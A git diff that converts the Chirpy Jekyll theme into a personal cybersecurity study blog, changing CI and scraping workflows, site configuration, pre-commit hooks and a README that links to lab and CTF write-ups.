diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 00000000000..c73e61385c8 Binary files /dev/null and b/.DS_Store differ diff --git a/.commitlintrc.json b/.commitlintrc.json new file mode 100644 index 00000000000..7f04d9cbd4e --- /dev/null +++ b/.commitlintrc.json @@ -0,0 +1,8 @@ +{ + "rules": { + "body-max-line-length": [ + 0, + "always" + ] + } +} diff --git a/.github/.DS_Store b/.github/.DS_Store new file mode 100644 index 00000000000..de7d5a2ee32 Binary files /dev/null and b/.github/.DS_Store differ diff --git a/.github/DISCUSSION_TEMPLATE/general.yml b/.github/DISCUSSION_TEMPLATE/general.yml deleted file mode 100644 index 4e879f95049..00000000000 --- a/.github/DISCUSSION_TEMPLATE/general.yml +++ /dev/null @@ -1,26 +0,0 @@ -body: - - type: checkboxes - attributes: - label: Checklist - description: Following the guidelines can make you more likely to get responses. - options: - - label: >- - I have read and accepted the - [contributing guidelines](https://github.com/cotes2020/jekyll-theme-chirpy/blob/master/docs/CONTRIBUTING.md). - required: true - - - type: dropdown - attributes: - label: What is the topic? - options: - - Sharing tips and tricks - - Just chatting - validations: - required: true - - - type: textarea - attributes: - label: Description - description: Please describe in detail what you want to share. - validations: - required: true diff --git a/.github/DISCUSSION_TEMPLATE/q-a.yml b/.github/DISCUSSION_TEMPLATE/q-a.yml deleted file mode 100644 index a2e2aa150c0..00000000000 --- a/.github/DISCUSSION_TEMPLATE/q-a.yml +++ /dev/null @@ -1,40 +0,0 @@ -body: - - type: checkboxes - attributes: - label: Checklist - description: Following the guidelines can make you more likely to get responses. - options: - - label: >- - I have read and accepted the - [contributing guidelines](https://github.com/cotes2020/jekyll-theme-chirpy/blob/master/docs/CONTRIBUTING.md). - required: true - - - type: dropdown - id: download - attributes: - label: How did you create the site? - options: - - Generated from `chirpy-starter` - - Built from `jekyll-theme-chirpy` - validations: - required: true - - - type: textarea - attributes: - label: Description - description: Please describe your need in detail. - validations: - required: true - - - type: textarea - attributes: - label: Operations you have already tried - description: Describe the effort you went through. - validations: - required: true - - - type: textarea - attributes: - label: Anything else? - description: | - Links? References? Or logs? Anything that will give us more context about the issue you are encountering! diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml deleted file mode 100644 index f22921b7049..00000000000 --- a/.github/FUNDING.yml +++ /dev/null @@ -1,2 +0,0 @@ -ko_fi: coteschung -custom: https://sponsor.cotes.page diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml deleted file mode 100644 index 7b513fb5841..00000000000 --- a/.github/ISSUE_TEMPLATE/bug_report.yml +++ /dev/null @@ -1,64 +0,0 @@ -name: Bug Report -description: Create a report to help us improve -body: - - type: checkboxes - attributes: - label: Checklist - description: Following the guidelines can make you more likely to get responses. - options: - - label: >- - I have read and accepted the - [contributing guidelines](https://github.com/cotes2020/jekyll-theme-chirpy/blob/master/docs/CONTRIBUTING.md). - required: true - - - type: dropdown - id: download - attributes: - label: How did you create the site? - options: - - Generated from `chirpy-starter` - - Built from `jekyll-theme-chirpy` - validations: - required: true - - - type: textarea - attributes: - label: Describe the bug - description: A clear and concise description of what the bug is. - validations: - required: true - - - type: textarea - attributes: - label: Steps To Reproduce - description: Steps to reproduce the behavior. - placeholder: | - 1. In this environment... - 2. With this config... - 3. Run '...' - 4. See error... - validations: - required: true - - - type: textarea - attributes: - label: Expected Behavior - description: A concise description of what you expected to happen. - validations: - required: true - - - type: textarea - attributes: - label: Environment - value: | - - Ruby: - - Jekyll: - - Chirpy: - validations: - required: true - - - type: textarea - attributes: - label: Anything else? - description: | - Links? References? Or logs? Anything that will give us more context about the issue you are encountering! diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml deleted file mode 100644 index 1dfb2b26dd0..00000000000 --- a/.github/ISSUE_TEMPLATE/config.yml +++ /dev/null @@ -1,5 +0,0 @@ -blank_issues_enabled: false -contact_links: - - name: Ask the community for help - url: https://github.com/cotes2020/jekyll-theme-chirpy/discussions - about: Please ask and answer questions here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.yml deleted file mode 100644 index 79570359f17..00000000000 --- a/.github/ISSUE_TEMPLATE/feature_request.yml +++ /dev/null @@ -1,38 +0,0 @@ -name: Feature Request -description: Suggest an idea for this project -labels: - - enhancement -body: - - type: checkboxes - attributes: - label: Checklist - description: Following the guidelines can make you more likely to get responses. - options: - - label: >- - I have read and accepted the - [contributing guidelines](https://github.com/cotes2020/jekyll-theme-chirpy/blob/master/docs/CONTRIBUTING.md). - required: true - - - type: textarea - attributes: - label: Is your feature request related to a problem? Please describe - description: A clear and concise description of what the problem is. - validations: - required: true - - - type: textarea - attributes: - label: Describe the solution you'd like - description: A clear and concise description of what you want to happen. - validations: - required: true - - - type: textarea - attributes: - label: Describe alternatives you've considered - description: A clear and concise description of any alternative solutions or features you've considered. - - - type: textarea - attributes: - label: Additional context - description: Add any other context or screenshots about the feature request here. diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index 0ff984a75d4..8e41f4f45a2 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -1,17 +1,34 @@ +## Description + + + ## Type of change - + + - [ ] Bug fix (non-breaking change which fixes an issue) - [ ] New feature (non-breaking change which adds functionality) -- [ ] Improvement (refactoring and improving code) - [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected) - [ ] Documentation update -## Description +## How has this been tested + -## Additional context - +- [ ] I have run `bash ./tools/test` (at the root of the project) locally and passed +- [ ] I have tested this feature in the browser + +### Test Configuration + +- Browser type & version: +- Operating system: +- Ruby version: +- Bundler version: +- Jekyll version: diff --git a/.github/workflows/cd.yml b/.github/workflows/cd.yml index 2e239a45073..af4a88534d0 100644 --- a/.github/workflows/cd.yml +++ b/.github/workflows/cd.yml @@ -1,10 +1,7 @@ name: CD on: push: - tags: - - "v[0-9]+.[0-9]+.[0-9]+" - branches: - - docs + branches: [production, docs] jobs: launch: diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c7b1f5a692a..423c5860ed5 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -8,31 +8,45 @@ on: - ".github/**" - "!.github/workflows/ci.yml" - ".gitignore" - - "docs/**" - "README.md" - "LICENSE" pull_request: paths: - "**" + # Allows you to run this workflow manually from the Actions tab + workflow_dispatch: + +permissions: + contents: read + pages: write + id-token: write + + jobs: build: runs-on: ubuntu-latest strategy: matrix: - ruby: ["3.0", "3.1", "3.2"] + ruby: [2.7, 3] steps: - name: Checkout uses: actions/checkout@v4 with: fetch-depth: 0 # for posts's lastmod + # submodules: true + # If using the 'assets' git submodule from Chirpy Starter, uncomment above + # (See: https://github.com/cotes2020/chirpy-starter/tree/main/assets) + - name: Setup Pages + id: pages + uses: actions/configure-pages@v5 - name: Setup Ruby uses: ruby/setup-ruby@v1 with: - ruby-version: ${{ matrix.ruby }} + ruby-version: 3.2 bundler-cache: true - name: Setup Node @@ -43,3 +57,14 @@ jobs: - name: Test Site run: bash tools/test + + - name: Build site + run: bundle exec jekyll b -d "_site${{ steps.pages.outputs.base_path }}" + env: + JEKYLL_ENV: "production" + + - name: Test site + run: | + bundle exec htmlproofer _site \ + \-\-disable-external=true \ + \-\-ignore-urls "/^http:\/\/127.0.0.1/,/^http:\/\/0.0.0.0/,/^http:\/\/localhost/" diff --git a/.github/workflows/commitlint.yml b/.github/workflows/commitlint.yml deleted file mode 100644 index d79814a2883..00000000000 --- a/.github/workflows/commitlint.yml +++ /dev/null @@ -1,11 +0,0 @@ -name: Lint Commit Messages -on: pull_request - -jobs: - commitlint: - runs-on: ubuntu-latest - steps: - - uses: actions/checkout@v4 - with: - fetch-depth: 0 - - uses: wagoid/commitlint-github-action@v5 diff --git a/.github/workflows/grace-project-apt.yml b/.github/workflows/grace-project-apt.yml new file mode 100644 index 00000000000..9b37ffbe2cc --- /dev/null +++ b/.github/workflows/grace-project-apt.yml @@ -0,0 +1,87 @@ +name: 'Grace project - Apt' + +on: + push: + branches: + - master + # paths-ignore: + # - .gitignore + # - README.md + # - LICENSE + # schedule: + # - cron: '0 21 * * *' + + # Allows you to run this workflow manually from the Actions tab + workflow_dispatch: + +jobs: + run_project_csv_builder: + name: project webscrap_apt create csv + # runs-on: macOS-latest + runs-on: ubuntu-latest + + steps: + - name: Print a greeting + env: + MY_VAR: Hi there! My name is + PROJECT_NAME: webscrap_apt + run: | + echo $MY_VAR $PROJECT_NAME. + + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # for posts's lastmod + + - name: run apt project script + # run: bash ./wh.sh \ + run: python ./_posts/00CodeNote/project/webscrap_apt/play.py -t all + + # - name: Install Python dependencies + # run: python -m pip install -r ./_posts/00CodeNote/project/webscrap_apt/requirements.txt + + # - name: run img player + # run: python ./_posts/00CodeNote/project/webscrap_apt/img_play.py + + - name: Commit and push changes + run: | + git config --global user.name "grace" + git config --global user.email "lgraceye@hotmail.com" + git pull origin master + git add . + git commit -m "Auto updating csv to repo" + git push + + run_project_img_builder: + name: project webscrap_apt print img + # runs-on: macOS-latest + runs-on: ubuntu-latest + needs: run_project_csv_builder + + steps: + - name: Print a greeting + env: + MY_VAR: Hi there! My name is + PROJECT_NAME: webscrap_apt + run: | + echo $MY_VAR $PROJECT_NAME. + + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # for posts's lastmod + + - name: Install Python dependencies + run: python -m pip install -r ./_posts/00CodeNote/project/webscrap_apt/requirements.txt + + - name: run img player + run: python ./_posts/00CodeNote/project/webscrap_apt/img_play.py + + - name: Commit and push changes + run: | + git config --global user.name "grace" + git config --global user.email "lgraceye@hotmail.com" + # git pull origin master + git add . + git commit -m "Auto updating img to repo" + git push diff --git a/.github/workflows/grace-project-tesla.yml b/.github/workflows/grace-project-tesla.yml new file mode 100644 index 00000000000..08e1ec5454c --- /dev/null +++ b/.github/workflows/grace-project-tesla.yml @@ -0,0 +1,55 @@ +name: 'Grace project - Tesla' + +on: + push: + branches: + - master +# schedule: +# - cron: '0 21 * * *' + # - cron: '*/30 * * * *' + + # Allows you to run this workflow manually from the Actions tab + workflow_dispatch: + +jobs: + run_project_output_builder: + name: project webscrap_tesla create output + runs-on: ubuntu-latest + + steps: + - name: Print a greeting + env: + MY_VAR: Hi there! My name is + PROJECT_NAME: webscrap_tesla + run: | + echo $MY_VAR $PROJECT_NAME. + + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # for posts's lastmod + + - name: Install Python dependencies + run: python -m pip install -r ./_posts/00CodeNote/project/webscrap_tesla/requirements.txt + + - name: Install chromium dependencies + run: | + sudo apt-get update + sudo apt-get install -y chromium-browser + pip install selenium + + - name: run tesla project script + # run: bash ./wh.sh \ + run: python ./_posts/00CodeNote/project/webscrap_tesla/run.py --headless + + # - name: run img player + # run: python ./_posts/00CodeNote/project/webscrap_tesla/img_play.py + + - name: Commit and push changes + run: | + git config --global user.name "grace" + git config --global user.email "lgraceye@hotmail.com" + git pull origin master + git add . + git commit -m "Auto updating output to repo" + git push diff --git a/.github/workflows/pages-deploy.yml.hook b/.github/workflows/pages-deploy.yml similarity index 97% rename from .github/workflows/pages-deploy.yml.hook rename to .github/workflows/pages-deploy.yml index c33b2a6b889..65f933ababd 100644 --- a/.github/workflows/pages-deploy.yml.hook +++ b/.github/workflows/pages-deploy.yml @@ -37,7 +37,7 @@ jobs: - name: Setup Pages id: pages - uses: actions/configure-pages@v4 + uses: actions/configure-pages@v5 - name: Setup Ruby uses: ruby/setup-ruby@v1 diff --git a/.github/workflows/style-lint.yml b/.github/workflows/style-lint.yml deleted file mode 100644 index f7aa54db344..00000000000 --- a/.github/workflows/style-lint.yml +++ /dev/null @@ -1,25 +0,0 @@ -name: "Style Lint" - -on: - push: - branches-ignore: - - "production" - - "docs" - paths: - - "_sass/**/*.scss" - pull_request: - paths: - - "_sass/**/*.scss" - -jobs: - stylelint: - runs-on: ubuntu-latest - - steps: - - name: Checkout - uses: actions/checkout@v4 - - - name: Setup Node - uses: actions/setup-node@v4 - - run: npm i - - run: npm test diff --git a/.gitignore b/.gitignore index cee9e1210f5..9297f91f4cd 100644 --- a/.gitignore +++ b/.gitignore @@ -17,5 +17,45 @@ package-lock.json # IDE configurations .idea +.clj-kondo/ +.lsp/ +.vscode/ +.DS_Store + # Misc -assets/js/dist +_posts/.DS_Store +_posts/00Abook/Data Structures and Algorithms in Java, 6th Edition.pdf +_posts/00Abook/GCP/PCSE_Workbook.pdf +_posts/00Abook/GCP/Preparing for Professional Cloud Security Engineer Journey workbook.pdf +_posts/00AGeneralNote/1330460_finding_100.json +_posts/00AGeneralNote/1330460_finding_high.json +_posts/00AGeneralNote/Application/SU/SketchUp-aa +_posts/00AGeneralNote/Application/SU/SketchUp-ab +_posts/00AGeneralNote/Application/SU/SketchUp-ac +_posts/00AGeneralNote/Application/SU/SketchUp-ad +_posts/00AGeneralNote/Application/SU/SketchUp-ae +_posts/00AGeneralNote/Application/SU/SketchUp-af +_posts/00AGeneralNote/Application/SU/SketchUp-ag +_posts/00AGeneralNote/Application/SU/SketchUp-ah +_posts/00AGeneralNote/Application/SU/SketchUp-ai +_posts/00AGeneralNote/Application/SU/SketchUp-aj +_posts/00AGeneralNote/finding_1330460.json +_posts/00AGeneralNote/output.txt +_posts/00AGeneralNote/Paper/Data Structures and Algorithms in Java, 6th Edition.pdf +_posts/00AGeneralNote/Paper/GCP/PCSE_Workbook.pdf +_posts/00AGeneralNote/Paper/GCP/Preparing for Professional Cloud Security Engineer Journey workbook.pdf +_posts/00AGeneralNote/run.py +_posts/00AGeneralNote/WorkCommand.md +_posts/00AIssueBook/Application/SU/SketchUp-aa +_posts/00AIssueBook/Application/SU/SketchUp-ab +_posts/00AIssueBook/Application/SU/SketchUp-ac +_posts/00AIssueBook/Application/SU/SketchUp-ad +_posts/00AIssueBook/Application/SU/SketchUp-ae +_posts/00AIssueBook/Application/SU/SketchUp-af +_posts/00AIssueBook/Application/SU/SketchUp-ag +_posts/00AIssueBook/Application/SU/SketchUp-ah +_posts/00AIssueBook/Application/SU/SketchUp-ai +_posts/00AIssueBook/Application/SU/SketchUp-aj +_posts/00AIssueBook/M1.md +_posts/10SecConcepts/.DS_Store +.vscode/* diff --git a/.gitmodules b/.gitmodules index 58062c54bd3..e69de29bb2d 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,3 +0,0 @@ -[submodule "assets/lib"] - path = assets/lib - url = https://github.com/cotes2020/chirpy-static-assets.git diff --git a/.markdownlint.json b/.markdownlint.json index 831991edaef..3c75f92f301 100644 --- a/.markdownlint.json +++ b/.markdownlint.json @@ -1,8 +1,11 @@ { - "commands-show-output": false, - "blanks-around-fences": false, - "line-length": false, - "no-inline-html": { - "allowed_elements": ["kbd", "sub"] - } + "commands-show-output": false, + "blanks-around-fences": false, + "line-length": false, + "no-inline-html": { + "allowed_elements": [ + "kbd", + "sub" + ] + } } diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml new file mode 100644 index 00000000000..347bab1f4d2 --- /dev/null +++ b/.pre-commit-config.yaml @@ -0,0 +1,67 @@ +exclude: ".txt|.csv" + +repos: + # - repo: local + # hooks: + # # - id: pylint + # # name: pylint + # # entry: pylint + # # language: system + # # types: [python] + # - id: black + # name: black + # entry: black + # language: system + # types: [python] + + # must be initialized via pre-commit install + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v4.4.0 + hooks: + # - id: check-added-large-files # Prevent giant files from being committed + - id: check-docstring-first # Checks a common error of defining a docstring after code. + - id: check-json + - id: check-merge-conflict + - id: check-xml + - id: check-yaml + argsa: [--allow-multiple-documents] + - id: detect-private-key # Detects the presence of private keys + - id: end-of-file-fixer # Fix the empty EOF + - id: pretty-format-json + args: + - --autofix + - --indent=4 + - --no-sort-keys + - id: trailing-whitespace # Fix the redundant whitespace + + # Check for typos + - repo: https://github.com/codespell-project/codespell + rev: v2.2.2 + hooks: + - id: codespell + args: + - --ignore-words=allow.txt + - --exclude-file=allow.txt + exclude: \.ipynb$ + + # ======= check python ======= + # - repo: https://github.com/ambv/black + # rev: 22.12.0 + # hooks: + # - id: black + # language_version: python3 + # - repo: https://github.com/asottile/pyupgrade + # rev: v3.3.1 + # hooks: + # - id: pyupgrade + # args: [--py38-plus] + - repo: https://github.com/PyCQA/autoflake + rev: v2.0.0 + hooks: + - id: autoflake + # removes unused imports and unused variables + - repo: https://github.com/pycqa/isort + rev: 5.12.0 + hooks: + - id: isort + # sort the import package diff --git a/.stylelintrc.json b/.stylelintrc.json new file mode 100644 index 00000000000..55d26a07cdd --- /dev/null +++ b/.stylelintrc.json @@ -0,0 +1,27 @@ +{ + "extends": "stylelint-config-standard-scss", + "rules": { + "no-descending-specificity": null, + "shorthand-property-no-redundant-values": null, + "at-rule-no-vendor-prefix": null, + "property-no-vendor-prefix": null, + "selector-no-vendor-prefix": null, + "value-no-vendor-prefix": null, + "color-function-notation": "legacy", + "alpha-value-notation": "number", + "selector-not-notation": "simple", + "color-hex-length": "long", + "declaration-block-single-line-max-declarations": 3, + "scss/operator-no-newline-after": null, + "rule-empty-line-before": [ + "always", + { + "ignore": [ + "after-comment", + "first-nested", + "inside-block" + ] + } + ] + } +} diff --git a/.versionrc.json b/.versionrc.json new file mode 100644 index 00000000000..c3aa5a9af92 --- /dev/null +++ b/.versionrc.json @@ -0,0 +1,20 @@ +{ + "skip": { + "commit": true, + "tag": true + }, + "types": [ + { + "type": "feat", + "section": "Features" + }, + { + "type": "fix", + "section": "Bug Fixes" + }, + { + "type": "perf", + "section": "Improvements" + } + ] +} diff --git a/README.md b/README.md index f084852eeee..591072ebd07 100644 --- a/README.md +++ b/README.md @@ -1,83 +1,109 @@ - -
+# A CYBER SECURITY PRACTICIAN - - # Chirpy Jekyll Theme +- [A CYBER SECURITY PRACTICIAN](#a-cyber-security-practician) +- [About Me](#about-me) + - [WRITE-UPS](#write-ups) +- [Blog Main PROJECTS](#blog-main-projects) + - [LAB EXERCISES](#lab-exercises) +- [Installation](#installation) + - [Basic setup](#basic-setup) - A minimal, responsive, and feature-rich Jekyll theme for technical writing. +--- - [![Gem Version](https://img.shields.io/gem/v/jekyll-theme-chirpy?color=brightgreen)][gem]  - [![CI](https://github.com/cotes2020/jekyll-theme-chirpy/actions/workflows/ci.yml/badge.svg?branch=master&event=push)][ci]  - [![Codacy Badge](https://app.codacy.com/project/badge/Grade/4e556876a3c54d5e8f2d2857c4f43894)][codacy]  - [![GitHub license](https://img.shields.io/github/license/cotes2020/jekyll-theme-chirpy.svg)][license]  - [![996.icu](https://img.shields.io/badge/link-996.icu-%23FF4D5B.svg)](https://996.icu) +pic +pic +pic +pic +pic +pic - [**Live Demo** →][demo] +
+
+
+
+
- [![Devices Mockup](https://chirpy-img.netlify.app/commons/devices-mockup.png)][demo] +> On my way to CISSP, OSCP ... -
+--- -## Features +# About Me -- Dark / Light Theme Mode -- Localized UI language -- Pinned Posts on Home Page -- Hierarchical Categories -- Trending Tags -- Table of Contents -- Last Modified Date -- Syntax Highlighting -- Mathematical Expressions -- Mermaid Diagrams & Flowcharts -- Dark / Light Mode Images -- Embed Videos -- Disqus / Giscus / Utterances Comments -- Built-in Search -- Atom Feeds -- PWA -- Google Analytics / GoatCounter -- SEO & Performance Optimization +Bright, eager, passionate practician, and an enthusiast of InfoSec with an MS (Hons.) in Cyber Security and Information Assurance. -## Documentation +Highly curious, goal-oriented; -To learn how to use, develop, and upgrade the project, please refer to the [Wiki][wiki]. +Always passionate, always up for a challenge and unforeseen possibilities; -## Contributing +Chess, piano and dance are three constructive hobbies I pursue. -Contributions (_pull requests_, _issues_, and _discussions_) are what make the open-source community such an amazing place -to learn, inspire, and create. Any contributions you make are greatly appreciated. -For details, see the "[Contributing Guidelines][contribute-guide]". +I love chocolate! 🍫 -## Credits +--- -### Contributors +## WRITE-UPS -Thanks to [all the contributors][contributors] involved in the development of the project! +I have been fortunate enough to meet great folks, come across ample valuable resources, have the opportunity to learn my favorite security field, and been able to have my step in Cyber Security. -[![all-contributors](https://contrib.rocks/image?repo=cotes2020/jekyll-theme-chirpy&columns=16)][contributors] - —— Made with [contrib.rocks](https://contrib.rocks) +I have documented the exercises and learning path throughout my journey, and hope it can also be helpful for you in your study. -### Third-Party Assets +This blog is all about: +- Knowledge from work +- Classroom learning +- Online learning +- Security certifications learning +- Hands-on training (CTFs, labs, hackathons, etc) -This project is built on the [Jekyll][jekyllrb] ecosystem and some [great libraries][lib], and is developed using [VS Code][vscode] as well as tools provided by [JetBrains][jetbrains] under a non-commercial open-source software license. +--- -The avatar and favicon for the project's website are from [ClipartMAX][clipartmax]. +# Blog Main PROJECTS -## License +I have worked on a number of projects during my studies, some of which include: +- [Course - Learning Path](https://ocholuo.github.io/posts/CourseREADME/) +- [InfoSec - Tools](https://ocholuo.github.io/posts/InfoSecREADME/) +- [Programming - Code & Learning Path](https://ocholuo.github.io/posts/CodeREADME/) +- [Web - demo & Learning Path](https://ocholuo.github.io/posts/WebREADME/) -This project is published under [MIT License][license]. + -[gem]: https://rubygems.org/gems/jekyll-theme-chirpy -[ci]: https://github.com/cotes2020/jekyll-theme-chirpy/actions/workflows/ci.yml?query=event%3Apush+branch%3Amaster -[codacy]: https://app.codacy.com/gh/cotes2020/jekyll-theme-chirpy/dashboard?utm_source=gh&utm_medium=referral&utm_content=&utm_campaign=Badge_grade -[license]: https://github.com/cotes2020/jekyll-theme-chirpy/blob/master/LICENSE -[jekyllrb]: https://jekyllrb.com/ -[clipartmax]: https://www.clipartmax.com/middle/m2i8b1m2K9Z5m2K9_ant-clipart-childrens-ant-cute/ -[demo]: https://cotes2020.github.io/chirpy-demo/ -[wiki]: https://github.com/cotes2020/jekyll-theme-chirpy/wiki -[contribute-guide]: https://github.com/cotes2020/jekyll-theme-chirpy/blob/master/docs/CONTRIBUTING.md -[contributors]: https://github.com/cotes2020/jekyll-theme-chirpy/graphs/contributors -[lib]: https://github.com/cotes2020/chirpy-static-assets -[vscode]: https://code.visualstudio.com/ -[jetbrains]: https://www.jetbrains.com/?from=jekyll-theme-chirpy + +## LAB EXERCISES + +Lab exercises designed by Syracuse university: +- [Syracuse university - SEED Lab - XSS Attack Lab](https://ocholuo.github.io/posts/SEED-Labs-CrossSiteScripting-Attack-Lab/) - Self Replicating Worm attack on vulnerable web app + + +- [Netdevgroup - PAN8 Cybersecurity Essentials](https://ocholuo.github.io/posts/PAN8-Cybersecurity-Essentials/) +- [Netdevgroup - PAN8 Cybersecurity Gateway](https://ocholuo.github.io//posts/PAN8-Cybersecurity-Gateway/) + +Wargames: +- [Overthewire - bandit](https://ocholuo.github.io/posts/Overthewire-bandit/) - SSH related +- [Overthewire - natas](https://ocholuo.github.io/posts/Overthewire-natas/) - WebSec related +- [Hack The Box](https://ocholuo.github.io/tags/hackthebox/) +- [Flaws Cloud CTF](https://ocholuo.github.io/tags/Flaws/) + + + +--- + + +# Installation + +## Basic setup + +
+ +Getting Pyenv +```sh +# Setup Development Environment +pyenv install 3.11.4 +pyenv virtualenv 3.11.4 ocho +pyenv activate ocho + +# setup code format requirement +brew install pre-commit +pre-commit install -t pre-push +``` +
diff --git a/_config.yml b/_config.yml index aaaa2ad42fd..b661ddf6830 100644 --- a/_config.yml +++ b/_config.yml @@ -9,24 +9,24 @@ theme: jekyll-theme-chirpy lang: en # Change to your timezone › https://kevinnovak.github.io/Time-Zone-Picker -timezone: Asia/Shanghai +timezone: America/New_York # jekyll-seo-tag settings › https://github.com/jekyll/jekyll-seo-tag/blob/master/docs/usage.md # ↓ -------------------------- -title: Chirpy # the main title +title: Grace # the main title -tagline: A text-focused Jekyll theme # it will display as the sub-title +tagline: IT Page 2024 Jun # it will display as the sub-title description: >- # used by seo meta and the atom feed - A minimal, responsive and feature-rich Jekyll theme for technical writing. + A webpages focus on IT learning path. # Fill in the protocol & hostname for your site. # e.g. 'https://username.github.io', note that it does not end with a '/'. -url: "" +url: "https://ocholuo.github.io/" github: - username: github_username # change to your github username + username: ocholuo # change to your github username twitter: username: twitter_username # change to your twitter username @@ -34,12 +34,12 @@ twitter: social: # Change to your full name. # It will be displayed as the default author of the posts and the copyright owner in the Footer - name: your_full_name - email: example@domain.com # change to your email address + name: Grace L + # email: example@domain.com # change to your email address links: # The first element serves as the copyright owner's link - - https://twitter.com/username # change to your twitter homepage - - https://github.com/username # change to your github homepage + # - https://twitter.com/username # change to your twitter homepage + - https://github.com/ocholuo # change to your github homepage # Uncomment below to add more social links # - https://www.facebook.com/username # - https://www.linkedin.com/in/username @@ -59,7 +59,12 @@ webmaster_verifications: # Web Analytics Settings analytics: google: - id: # fill in your Google Analytics ID + id: "UA-179830187-1" # fill in your Google Analytics ID + # # Google Analytics pageviews report settings + # pv: + # # fill in the Google Analytics superProxy endpoint of Google App Engine + # proxy_endpoint: 'https://myochosite-291718.ue.r.appspot.com/query?id=ahNwfm15b2Nob3NpdGUtMjkxNzE4chULEghBcGlRdWVyeRiAgIDYmr-ACgw' + # cache_path: # the local PV cache data, friendly to visitors from GFW region goatcounter: id: # fill in your GoatCounter ID @@ -78,31 +83,31 @@ pageviews: # light - Use the light color scheme # dark - Use the dark color scheme # -theme_mode: # [light | dark] +theme_mode: dark # [light|dark] # The CDN endpoint for images. # Notice that once it is assigned, the CDN url # will be added to all image (site avatar & posts' images) paths starting with '/' # # e.g. 'https://cdn.com' -img_cdn: "https://chirpy-img.netlify.app" +img_cdn: # the avatar on sidebar, support local or CORS resources -avatar: "/commons/avatar.jpg" +avatar: '/assets/img/huoye.jpg' # The URL of the site-wide social preview image used in SEO `og:image` meta tag. # It can be overridden by a customized `page.image` in front matter. -social_preview_image: # string, local or CORS resources +social_preview_image: '/assets/img/huoye.jpg' # string, local or CORS resources # boolean type, the global switch for TOC in posts. toc: true comments: # Global switch for the post comment system. Keeping it empty means disabled. - provider: # [disqus | utterances | giscus] - # The provider options are as follows: + active: 'disqus' # The global switch for posts comments, e.g., 'disqus'. Keep it empty means disable + # The active options are as follows: disqus: - shortname: # fill with the Disqus shortname. › https://help.disqus.com/en/articles/1717111-what-s-a-shortname + shortname: https-ocholuo-github-io # fill with the Disqus shortname. › https://help.disqus.com/en/articles/1717111-what-s-a-shortname # utterances settings › https://utteranc.es/ utterances: repo: # / @@ -124,7 +129,7 @@ assets: enabled: # boolean, keep empty means false # specify the Jekyll environment, empty means both # only works if `assets.self_host.enabled` is 'true' - env: # [development | production] + env: # [development|production] pwa: enabled: true # the option for PWA feature (installable) @@ -136,7 +141,7 @@ pwa: deny_paths: # - "/example" # URLs match `/example/*` will not be cached by the PWA -paginate: 10 +paginate: 15 # The base URL of your site baseurl: "" @@ -173,7 +178,7 @@ defaults: - scope: path: _drafts values: - comments: false + comments: true - scope: path: "" type: tabs # see `site.collections` diff --git a/_data/.DS_Store b/_data/.DS_Store new file mode 100644 index 00000000000..4a19e1b37c2 Binary files /dev/null and b/_data/.DS_Store differ diff --git a/_data/locales/de-DE.yml b/_data/locales/de-DE.yml index 6b187b4c60d..d1d4be49bd3 100644 --- a/_data/locales/de-DE.yml +++ b/_data/locales/de-DE.yml @@ -76,7 +76,7 @@ df: post: strftime: "%d.%m.%Y" dayjs: "DD.MM.YYYY" - + # categories page categories: category_measure: diff --git a/_data/locales/ru-RU.yml b/_data/locales/ru-RU.yml index 185407c136d..59abf7b36ac 100644 --- a/_data/locales/ru-RU.yml +++ b/_data/locales/ru-RU.yml @@ -76,7 +76,7 @@ df: post: strftime: "%d.%m.%Y" dayjs: "DD.MM.YYYY" - + # categories page categories: category_measure: diff --git a/_includes/.DS_Store b/_includes/.DS_Store new file mode 100644 index 00000000000..a352ebde266 Binary files /dev/null and b/_includes/.DS_Store differ diff --git a/_javascript/.DS_Store b/_javascript/.DS_Store new file mode 100644 index 00000000000..0e2ae92cd4f Binary files /dev/null and b/_javascript/.DS_Store differ diff --git a/_javascript/modules/.DS_Store b/_javascript/modules/.DS_Store new file mode 100644 index 00000000000..dd18ac9fb1d Binary files /dev/null and b/_javascript/modules/.DS_Store differ diff --git a/_posts/00AGeneralNote/.DS_Store b/_posts/00AGeneralNote/.DS_Store new file mode 100644 index 00000000000..8970e33f6d1 Binary files /dev/null and b/_posts/00AGeneralNote/.DS_Store differ diff --git a/_posts/00AGeneralNote/WorkCommand.md b/_posts/00AGeneralNote/WorkCommand.md new file mode 100644 index 00000000000..e98d5bc8eca --- /dev/null +++ b/_posts/00AGeneralNote/WorkCommand.md @@ -0,0 +1,1193 @@ + +- [Work Command](#work-command) + - [IDE](#ide) + - [IntelliJ](#intellij) + - [VSC](#vsc) + - [Issue](#issue) + - [auto save](#auto-save) + - [makefile](#makefile) + - [avoid command output](#avoid-command-output) + - [rename file](#rename-file) + - [move file](#move-file) + - [copy file](#copy-file) + - [github repo search](#github-repo-search) + - [reuse token](#reuse-token) +- [My Issue](#my-issue) + - [Github issue](#github-issue) + - [github query 1000 issue](#github-query-1000-issue) + - [Github Submodel](#github-submodel) + - [Github upload](#github-upload) + - [My M1 Issue](#my-m1-issue) + - [Check Processors](#check-processors) + - [Install brew](#install-brew) + - [install Pyenv](#install-pyenv) + - [Prerequisites](#prerequisites) + - [intsall Pyenv](#intsall-pyenv) + - [delete pyenv](#delete-pyenv) + - [Use pyenv](#use-pyenv) + - [Use Virtual Environments](#use-virtual-environments) + - [errors you might meet](#errors-you-might-meet) + - [installation for Conda](#installation-for-conda) + - [installation](#installation) + - [pip](#pip) + - [brew update and upgrade](#brew-update-and-upgrade) + - [terraform](#terraform) + +--- + +# Work Command + +--- + 